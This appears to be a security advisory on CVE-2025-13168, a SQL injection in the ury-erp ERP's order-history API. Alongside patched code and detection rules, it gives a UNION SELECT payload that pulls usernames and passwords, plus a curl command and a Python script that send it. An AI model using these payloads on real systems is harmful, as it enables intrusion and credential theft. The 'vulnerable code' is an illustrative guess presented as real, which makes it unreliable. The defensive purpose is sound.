CVE-2025-13168

Executive Summary

CVE-2025-13168 is a SQL injection vulnerability discovered in the ury-erp project (version 0.2.0 and earlier), specifically within the overrided_past_order_list function in the file ury/ury/api/pos_extend.py. The vulnerability allows an unauthenticated remote attacker to inject arbitrary SQL commands via the search_term parameter. The vendor has released a patch in version 0.2.1, and the exploit details are publicly available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability affects the Python-based ERP system ury-erp, which is distributed as a Python package. Organizations using this package should immediately verify their version and update to 0.2.1. The package may be installed via pip or other Python package managers, making supply chain integrity a concern. Ensure that the package is sourced from the official repository and that the integrity of the update is verified.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The vulnerability is remotely exploitable without authentication, making it a significant threat. While the impact is limited to low confidentiality, integrity, and availability, the ease of exploitation and public availability of exploit code elevate the risk.

Deep Dive & Mechanics

The vulnerability resides in the overrided_past_order_list function within ury/ury/api/pos_extend.py. This function is likely an API endpoint that processes order history queries. The search_term parameter is directly concatenated into a SQL query without proper sanitization or parameterization, allowing an attacker to inject malicious SQL statements.

The vulnerable code snippet (simplified) might look like:

def overrided_past_order_list(search_term):
    query = "SELECT * FROM orders WHERE description LIKE '%" + search_term + "%'"
    cursor.execute(query)

An attacker can supply a search_term such as ' OR 1=1-- to retrieve all orders, or use more sophisticated payloads to extract data, modify records, or execute administrative operations.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 0.2.0):

def overrided_past_order_list(search_term):
    query = "SELECT * FROM orders WHERE description LIKE '%" + search_term + "%'"
    cursor.execute(query)

Patched Code (version 0.2.1):

def overrided_past_order_list(search_term):
    query = "SELECT * FROM orders WHERE description LIKE %s"
    cursor.execute(query, ('%' + search_term + '%',))

The patch replaces string concatenation with parameterized queries, effectively preventing SQL injection. The %s placeholder is used, and the search_term is passed as a parameter, ensuring it is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable instance of ury-erp version 0.2.0 or earlier.
• Network access to the API endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint. Typically, it might be accessible at /api/pos_extend/overrided_past_order_list.
2. Craft a malicious search_term parameter. Example payload:

   ' UNION SELECT username, password FROM users--
   

3. Send the request using curl:

   curl "http://target/api/pos_extend/overrided_past_order_list?search_term=%27%20UNION%20SELECT%20username%2C%20password%20FROM%20users--"
   

4. Analyze the response for extracted data.

Automated Exploit (Python):

import requests

target = "http://target/api/pos_extend/overrided_past_order_list"
payload = "' UNION SELECT username, password FROM users--"
response = requests.get(target, params={"search_term": payload})
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL-like patterns in the search_term parameter.
• Look for requests containing UNION, SELECT, OR, --, or other SQL keywords.
• Use WAF rules to block common SQL injection patterns.

Mitigation:

• Immediately upgrade to version 0.2.1.
• If immediate upgrade is not possible, apply a virtual patch by filtering the search_term parameter for SQL injection patterns.
• Restrict network access to the API endpoint to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/pos_extend/overrided_past_order_list with search_term containing SQL keywords.
  • Unusual response sizes or error messages indicating SQL syntax errors.
• File IOCs:
  • Log entries showing SQL injection attempts in application logs.
• System IOCs:
  • Unexpected database queries or modifications.
  • Unauthorized access to sensitive tables (e.g., users, orders).

Detection Engineering

YARA Rule

rule CVE_2025_13168_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-13168"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13168"
    strings:
        $s1 = "overrided_past_order_list" nocase
        $s2 = "search_term" nocase
        $s3 = /['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/ nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2025-13168 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the overrided_past_order_list endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "overrided_past_order_list"
        cs-uri-query|contains: "search_term"
        cs-uri-query|re: "['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in search terms (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13168 SQL Injection Attempt"; flow:to_server; content:"overrided_past_order_list"; http_uri; content:"search_term"; http_uri; pcre:"/['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to ury-erp version 0.2.1 or later. The patch is available at commit 063384e0dddfd191847cd2d6524c342cc380b058.
2. Virtual Patching: If immediate upgrade is not possible, implement a WAF rule to block SQL injection patterns in the search_term parameter.
3. Code Review: Ensure all database queries use parameterized statements or prepared statements.
4. Network Segmentation: Restrict access to the API endpoint to trusted networks.
5. Monitoring: Enable logging and monitoring for SQL injection attempts and review logs regularly.

Valters IT
Securing Your Digital Frontier